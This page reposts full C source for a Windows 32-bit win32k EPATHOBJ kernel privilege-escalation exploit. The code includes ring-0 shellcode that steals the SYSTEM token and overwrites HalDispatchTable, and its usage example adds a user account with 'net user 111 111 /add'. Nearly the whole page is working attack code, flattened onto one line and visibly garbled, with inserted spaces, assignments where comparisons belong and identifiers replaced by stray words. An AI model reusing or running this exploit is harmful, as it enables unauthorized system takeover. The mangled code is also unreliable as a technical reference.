The latest windows 32-bit EPATHOBJ privilege 0day exploit

Source: Internet
Author: User

This vulnerability was discovered by Tavis Ormandy during stress testing. see: the code below the http://blog.cmpxchg8b.com/http://seclists.org/fulldisclosure/2013/May/118:

# Include <stdio. h> # include <STDARG. h> # include <stddef. h> # include <windows. h> // # include <ntstatus. h> # pragma comment (lib, "gdi32") # pragma comment (lib, "kernel32") # pragma comment (lib, "user32") # define MAX_POLYPOINTS (8192*3) # define MAX_REGIONS 8192 # define CYCLE_TIMEOUT 10000 # pragma comment (linker, "/SECTION :. text, ERW ") /// win32k! EPATHOBJ: pprFlattenRec uninitialized Next pointer testcase. /// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013 // POINT Points [MAX_POLYPOINTS]; BYTE PointTypes [MAX_POLYPOINTS]; HRGN Regions [MAX_REGIONS]; ULONG NumRegion = 0; HANDLE Mutex; // Log levels. typedef enum {L_DEBUG, L_INFO, L_WARN, L_ERROR} LEVEL, * PLEVEL; VOID LogInit (); VOID LogRelase (); BOOL LogMessage (LEVEL Level LEVEL, PCHAR Format ,...); // C Opied from winddi. h from the DDK # define PD_BEGINSUBPATH 0x00000001 # define limit 0x00000002 # define PD_RESETSTYLE 0x00000004 # define PD_CLOSEFIGURE 0x00000008 # define PD_BEZIERS 0x00000010 # define limit 1 typedef struct _ POINTFIX {ULONG x; ULONG y;} POINTFIX, * PPOINTFIX; // Approximated from reverse engineering. typedef struct _ PATHRECORD {struct _ PATHRECORD * next; struct _ PATHREC ORD * prev; ULONG flags; ULONG count; POINTFIX points [4];} PATHRECORD, * PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord = {0}; PPATHRECORD ExploitRecordExit; typedef struct _ detail {HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileNam E; UCHAR FullPathName [256];} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; typedef struct _ RTL_PROCESS_MODULES {ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules [1];} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; typedef ULONG (_ stdcall * NtQueryIntervalProfile _) (ULONG, PULONG); typedef ULONG (_ stdcall * NtQuerySystemInformation _) (ULONG, PVOID, ULONG, PULON G); typedef ULONG (_ stdcall * NtAllocateVirtualMemory _) (HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG); typedef ULONG (_ stdcall * freentvirtualmemory _) (HANDLE, PVOID, PULONG, ULONG); NtQueryIntervalProfile _ NtQueryIntervalProfile; NtAllocateVirtualMemory _ NtAllocateVirtualMemory; NtQuerySystemInformation _ NtQuerySystemInformation; NtFreeVirtualMemory _ freentvirtualmemory; ULONG PsInitialSystemProces S, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable, FixAddress; void _ declspec (naked) ShellCode () {_ asm {pushad pushfd mov esi, metadata: lodsb cmp al, 8Dh; jnz FindTokenOffset mov edi, [esi + 1] mov esi, PsInitialSystemProcess mov esi, [esi] push fs: [124 h] mov eax, PsGetThreadProcess call eax add esi, edi push esi add edi, eax movsd; add token ref coun T. pop esi mov esi, [esi] and esi, 0xFFFFFFF8 lea eax, [esi-0x18] mov dword ptr [eax], 0x016B00B5; fix the haltable mov eax, WriteToHalDispatchTable mov ecx, fixAddress mov [ecx], 0xC3 mov dword ptr [eax], ecx popfd popad; set ret code for NtQueryIntervalProfile mov eax, [esp + 0xc] mov dword ptr [eax + 4], 1 mov dword ptr [eax + 8], 0xC0000018 xor eax, eax ret} dword winapi WatchdogThread (LPVOID Param Eter) {// This routine waits for a mutex object to timeout, then patches the // compromised linked list to point to an exploit. we need to do this. // LogMessage (L_INFO, "Watchdog thread % d waiting on Mutex", GetCurrentThreadId (); if (WaitForSingleObject (Mutex, CYCLE_TIMEOUT) = WAIT_TIMEOUT) {// It looks like the main thread is stuck in a call to FlattenPath (), // because the kernel is sp Inning in EPATHOBJ: bFlatten (). we can clean // up, and then patch the list to trigger our exploit. // while (NumRegion --) DeleteObject (Regions [NumRegion]); LogMessage (L_ERROR, "InterlockedExchange (0x % 08x, 0x % 08x);", & PathRecord-> next, & ExploitRecord); InterlockedExchange (PLONG) & PathRecord-> next, (LONG) & ExploitRecord);} else {LogMessage (L_ERROR, "Mutex object did not timeout, list not patched ") ;} Return 0;} void wellcome () {printf ("\ t \ tthe win32k. sys EPATHOBJ 0day exploit \ n "); printf ("************************************* * ***************************** \ n "); printf ("*** \ texploit by: <progmboy> <programmeboy@gmail.com> \ t *** \ n"); printf ("*** \ t0day finder: <Tavis Ormandy> <taviso@cmpxchg8b.com> \ t *** \ n "); printf (" *** \ ttested system: xp/2003/win7/2008 (* 32bit *) \ t *** \ n "); printf ("************* **************************************** * ************* \ N ");} void usage () {printf ("\ nusage: \ n <app> <cmd> <parameter> \ n"); printf ("example: \ napp.exe net \ "user 111 111/add \" ");} BOOL FindAFixAddress (ULONG NtoskrnlBase) {FixAddress = NtoskrnlBase + FIELD_OFFSET (IMAGE_DOS_HEADER, e_res2); LogMessage (L_INFO, "Get FixAddress --> 0x % 08x", FixAddress); return TRUE;} // 0x602464FF;/* jmp esp + 0x60 * // 0x51C Listen 6a;/* push 0; ret */DWORD CheckMagicDword () {OSVERSIONINFOEX OSVer; DWORD dwMagic = 0; OSVer. dwOSVersionInfoSize = sizeof (OSVERSIONINFOEX); if (GetVersionEx (OSVERSIONINFO *) & OSVer) {switch (OSVer. dwMajorVersion) {case 5: dwMagic = 0x602464FF; break; case 6: dwMagic = 0x642464FF; break; default: dwMagic = 0 ;}} return dwMagic;} int main (int argc, char ** argv) {HANDLE Thread; HDC Device; ULONG Siz E; ULONG PointNum; int nret = 0; DWORD MAGIC_DWORD = CheckMagicDword (); ULONG AllocSize = 0x1000, status, NtoskrnlBase; memory module; HMODULE ntoskrnl = NULL; DWORD dwFix; ULONG Address = MAGIC_DWORD & 0xFFFFF000; LONG ret; BOOL bRet = FALSE; # ifdef ENABLE_SWITCH_DESKTOP HDESK hDesk; # endif HMODULE ntdll = GetModuleHandle ("ntdll. dll "); wellcome (); if (argc <2) {usage (); return-1 ;} If (! MAGIC_DWORD) {LogMessage (L_ERROR, "unsupported system version \ n"); return-1;} LogInit (); NtQueryIntervalProfile = (NtQueryIntervalProfile _) GetProcAddress (ntdll, "NtQueryIntervalProfile "); ntAllocateVirtualMemory = (NtAllocateVirtualMemory _) GetProcAddress (ntdll, "NtAllocateVirtualMemory"); NtQuerySystemInformation = (NtQuerySystemInformation _) GetProcAddress (ntdll, "NtQuerySystemInformation "); NtFreeVirtualMemory = (NtFreeVirtualMemory _) GetProcAddress (ntdll, "NtFreeVirtualMemory"); if (! NtQueryIntervalProfile |! NtAllocateVirtualMemory |! NtQuerySystemInformation |! NtFreeVirtualMemory) {LogMessage (L_ERROR, "get function address error \ n"); LogRelase (); return-1 ;}/// try to allocate memory. // while (TRUE) {ret = NtAllocateVirtualMemory (HANDLE)-1, & Address, 0, & AllocSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (ret <0) {MEMORY_BASIC_INFORMATION meminfo; LogMessage (L_ERROR, "allocate memory error code 0x % 08x", ret); LogMessage (L_INFO, "try t O free memory "); if (VirtualQuery (LPVOID) Address, & meminfo, sizeof (meminfo) {LogMessage (L_INFO," meminfo state % d \ n ", meminfo. state, meminfo. protect);} ret = NtFreeVirtualMemory (HANDLE)-1, & Address, & AllocSize, MEM_RELEASE); if (ret <0) {LogMessage (L_ERROR, "free memory error code 0x % 08x", ret); LogRelase (); return-1 ;}} else {break ;}} /// get the kernel info // status = NtQuerySystem Information (11, & module, sizeof (RTL_PROCESS_MODULES), NULL); // SystemModuleInformation 11 if (status! = 0xC0000004) {LogMessage (L_ERROR, "NtQuerySystemInformation error code: 0x % 08x \ n", status); LogRelase (); return-1;} NtoskrnlBase = (ULONG) module. modules [0]. imageBase; // load ntoskrnl.exe // ntoskrnl = LoadLibraryA (LPCSTR) (module. modules [0]. fullPathName + module. modules [0]. offsetToFileName); if (ntoskrnl = NULL) {LogMessage (L_ERROR, "LoadLibraryA error code: 0x % 08x \ n", GetLastError ()); LogRelase (); return-1 ;}/// calculate the actual address // WriteToHalDispatchTable = (ULONG) GetProcAddress (ntoskrnl, "HalDispatchTable")-(ULONG) response + response + 4; PsInitialSystemProcess = (ULONG) GetProcAddress (ntoskrnl, "PsInitialSystemProcess")-(ULONG) response + response; response = (ULONG) GetProcAddress (ntoskrnl, "response ") -(ULONG) ntoskrnl + NtoskrnlBase; PsGetThre AdProcess = (ULONG) GetProcAddress (ntoskrnl, "PsGetThreadProcess")-(ULONG) ntoskrnl + NtoskrnlBase; if (! FindAFixAddress (NtoskrnlBase) {LogMessage (L_ERROR, "Can not Find A Fix Address \ n"); nret =-1; goto _ end ;} /// Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. // PathRecord = (PPATHRECORD) VirtualAlloc (NULL, sizeof (PATHRECORD), MEM_COMMIT | MEM_RESERVE, expiration); LogMessage (L_INFO, "Alllocated userspace PATHRECORD () % p", PathRecord ); // // Initialize with recognizable debugging values. // FillMemory (PathRecord, sizeof (PATHRECORD), 0xCC); PathRecord-> next = PathRecord; PathRecord-> prev = (PPATHRECORD) (0x42424242 ); /// You need the PD_BEZIERS flag to enter EPATHOBJ: pprFlattenRec () from // EPATHOBJ: bFlatten (). we don't set it so that we can trigger an infinite // loop in EPATHOBJ: bFlatten (). // PathRecord-> flags = 0; logmescript E (L_INFO, "-> next @ % p", PathRecord-> next); LogMessage (L_INFO, "-> prev @ % p", PathRecord-> prev ); logMessage (L_INFO, "-> flags @ % u", PathRecord-> flags); cursor = (PPATHRECORD) MAGIC_DWORD; ExploitRecordExit-> next = NULL; exploitRecordExit-> flags = PD_BEGINSUBPATH; ExploitRecordExit-> count = 0; ExploitRecord. next = (PPATHRECORD) MAGIC_DWORD; ExploitRecord. Prev = (PPATHRECORD) WriteToHalDispatchTable; ExploitRecord. flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord. count = 4; LogMessage (L_INFO, "Creating complex bezr path with % x", (ULONG) (PathRecord)> 4 ); /// Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. // for (PointNum = 0; PointNum <MAX_POLYPOINTS; PointNum ++) {Points [PointNum]. x = (ULONG) (Path Record)> 4; Points [PointNum]. y = (ULONG) (PathRecord)> 4; PointTypes [PointNum] = PT_BEZIERTO ;} /// Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly ). // # ifdef ENABLE_SWITCH_DESKTOP hDesk = CreateDesktop ("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); if (hDesk) {SetThreadDesktop (hDesk) ;}# endif wh Ile (TRUE) {BOOL bBreak = FALSE; Mutex = CreateMutex (NULL, TRUE, NULL); if (! Mutex) {LogMessage (L_INFO, "Allocated % u HRGN objects", NumRegion); nret =-1; goto _ end;} // Get a handle to this Desktop. // Device = GetDC (NULL); // Spawn a thread to cleanup // Thread = CreateThread (NULL, 0, WatchdogThread, NULL, 0, NULL ); logMessage (L_INFO, "start CreateRoundRectRgn"); // We need to cause a specific AllocObject () to fail to trigger the // exploitable condition. to d O this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. /// I don't use the simpler CreateRectRgn () because it leaks a GDI handle on // failure. seriously, do some damn QA Microsoft, wtf. // for (Size = 1 <26; Size> = 1) {while (TRUE) {HRGN hm = CreateRo UndRectRgn (0, 0, 1, Size, 1, 1); if (! Hm) {break;} if (NumRegion <MAX_REGIONS) {Regions [NumRegion] = hm; NumRegion ++;} else {NumRegion = 0 ;}} LogMessage (L_INFO, "Allocated % u HRGN objects", NumRegion); LogMessage (L_INFO, "Flattening curves... "); // Begin filling the free list with our points. // dwFix = * (PULONG) ShellCode; for (PointNum = MAX_POLYPOINTS; PointNum-= 3) {BeginPath (Device); PolyDraw (Device, Points, Po IntTypes, PointNum); EndPath (Device); FlattenPath (Device); // call the function to exploit. // ret = NtQueryIntervalProfile (2, (PULONG) ShellCode); // we will set the status with 0xC0000018 in ring0 shellcode. // if (* (PULONG) ShellCode = 0xC0000018) {bRet = TRUE; break;} /// fix // * (PULONG) ShellCode = dwFix; endPath (Device);} if (bRet) {LogMessage (L_INFO, "Exploit o K run command "); ShellExecute (NULL," open ", argv [1], argc> 2? Argv [2]: NULL, NULL, SW_SHOW); bBreak = TRUE;} else {LogMessage (L_INFO, "No luck, cleaning up. and try again .. ");} // If we reach here, we didn't trigger the condition. let the other thread know. // ReleaseMutex (Mutex); ReleaseDC (NULL, Device); WaitForSingleObject (Thread, INFINITE); if (bBreak) {break ;}__ end: LogRelase (); if (ntoskrnl) FreeLibrary (ntoskrnl); # ifdef ENABLE_SWITCH_DESKTOP if (HDesk) {CloseHandle (hDesk) ;}# endif return nret;} CRITICAL_SECTION gCSection; VOID LogInit () {InitializeCriticalSection (& gCSection);} VOID LogRelase () {DeleteCriticalSection (& gCSection) ;}/// A quick logging routine for debug messages. // BOOL LogMessage (LEVEL Level, PCHAR Format ,...) {CHAR Buffer [1024] = {0}; va_list Args; EnterCriticalSection (& gCSection); va_start (Args, Format); _ snprintf (Buffer, s Izeof (Buffer), Format, Args); va_end (Args); switch (Level) {case L_DEBUG: fprintf (stdout, "[?] % S \ n ", Buffer); break; case L_INFO: fprintf (stdout," [+] % s \ n ", Buffer); break; case L_WARN: fprintf (stderr, "[*] % s \ n", Buffer); break; case L_ERROR: fprintf (stderr, "[!] % S \ n ", Buffer); break;} fflush (stdout); fflush (stderr); LeaveCriticalSection (& gCSection); return TRUE ;}

 

Compilation Method: vc6 release. Thanks to Tavis Ormandy and its poc test on win7:

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.